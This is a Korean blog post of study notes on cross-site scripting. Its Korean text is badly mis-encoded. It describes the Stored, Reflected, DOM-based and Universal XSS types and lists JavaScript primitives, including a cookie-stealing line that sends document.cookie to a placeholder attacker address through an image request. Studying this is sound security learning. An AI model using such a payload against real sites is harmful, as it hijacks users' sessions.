* Cross Site Scripting (XSS)
ํด๋ผ์ด์ธํธ ์ฌ์ด๋ ์ทจ์ฝ์ ์ค ํ๋
๊ณต๊ฒฉ์๊ฐ ์น ๋ฆฌ์์ค์ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํด ์ด์ฉ์์ ์น ๋ธ๋ผ์ฐ์ ์์ ํด๋น ์คํฌ๋ฆฝํธ ์คํ
ํน์ ๊ณ์ ์ ์ธ์ ์ ๋ณด ํ์ทจ, ํด๋น ๊ณ์ ์ผ๋ก ์์ ๊ธฐ๋ฅ ์ํ
Stored XSS: ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์๋ฒ์ ์ ์ฅ๋๊ณ ์๋ฒ์ ์๋ต์ ๋ด๊ฒจ์ด
Reflected XSS: ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ URL์ ์ฝ์ ๋๊ณ ์๋ฒ์ ์๋ต์ ๋ด๊ฒจ์ด
DOM-based XSS: ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ URL Fragment์ ์ฝ์ ๋จ
Universal XSS: ํด๋ผ์ด์ธํธ์ ๋ธ๋ผ์ฐ์ ํน์ ํ๋ฌ๊ทธ์ธ์์ ๋ฐ์ํ๋ ์ทจ์ฝ์ , SOP ์ ์ฑ ์ฐํ
document.cookie
// ํ์ฌ ํ์ด์ง์ ์ฟ ํค (return type: string)
document.cookie = "name=test;";
// ์ฟ ํค ์์ฑ (key: name, value: test)
new Image().src = "๊ณต๊ฒฉ์ ์ฃผ์/?cookie=" + document.cookie;
// new Image()๋ ์ด๋ฏธ์ง๋ฅผ ์์ฑํ๋ ํจ์์ด๋ฉฐ, src๋ ์ด๋ฏธ์ง์ ์ฃผ์๋ฅผ ์ง์
// "http://๊ณต๊ฒฉ์ ์ฃผ์/?cookie=ํ์ฌ ํ์ด์ง ์ฟ ํค" ๊ณต๊ฒฉ์ ์ฃผ์๋ก ํ์ฌ ํ์ด์ง์ ์ฟ ํค ์์ฒญ
document.write("Hello");
// ์ด์ฉ์์ ํ์ด์ง์ ๋ฐ์ดํฐ๋ฅผ ์ฝ์
location.href = "http://";
// ์ด์ฉ์์ ์์น ๋ณ๊ฒฝ. ํผ์ฑ ๊ณต๊ฒฉ ๋ฑ์ผ๋ก ์ฌ์ฉ๋จ.
window.open("http://")
// ์ ์ฐฝ ์ด๊ธฐ
* Stored XSS
์๋ฒ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋๋ ํ์ผ ๋ฑ์ ํํ๋ก ์ ์ฅ๋ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์กฐํํ ๋ ๋ฐ์ํ๋ XSS
๋ํ์ ์ผ๋ก ๊ฒ์๋ฌผ๊ณผ ๋๊ธ์ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ํฌํจํด ์ ๋ก๋ํ๋ ๋ฐฉ์์ด ์์
* Reflected XSS
์๋ฒ๊ฐ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ๋ด๊ธด ์์ฒญ์ ์ถ๋ ฅํ ๋ ๋ฐ์
๋ํ์ ์ผ๋ก ๊ฒ์ํ ์๋น์ค์์ ์์ฑ๋ ๊ฒ์๋ฌผ์ ์กฐํํ๊ธฐ ์ํ ๊ฒ์์ฐฝ์์ ์คํฌ๋ฆฝํธ๋ฅผ ํฌํจํด ๊ฒ์ํ๋ ๋ฐฉ์์ด ์์
๊ฒ์ ๋ฌธ์์ด์ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋์ด ์๋ค๋ฉด Reflected XSS๊ฐ ๋ฐ์
Reflected XSS๋ Stored XSS์๋ ๋ค๋ฅด๊ฒ URL๊ณผ ๊ฐ์ ์ด์ฉ์์ ์์ฒญ์ ์ํด ๋ฐ์
๋ฐ๋ผ์ ๊ณต๊ฒฉ์ ์ํด์๋ ๋ค๋ฅธ ์ด์ฉ์๋ฅผ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋ ๋งํฌ์ ์ ์ํ๋๋ก ์ ๋ํด์ผ ํจ
๋งํฌ ์ง์ ์ ๋ฌ์ ์ ์ฑ ์คํฌ๋ฆฝํธ ํฌํจ ์ฌ๋ถ๋ฅผ ์ด์ฉ์๊ฐ ๋์น์ฑ ์ ์๊ธฐ ๋๋ฌธ์ ์ฃผ๋ก Click Jacking ๋๋ Open Redirect ๋ฑ ๋ค๋ฅธ ์ทจ์ฝ์ ๊ณผ ์ฐ๊ณํ์ฌ ์ฌ์ฉ
<์ถ์ฒ>
'web' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
| Cross Site Request Forgery (CSRF) (0) | 2024.06.23 |
|---|---|
| Cookie & Session (0) | 2024.06.11 |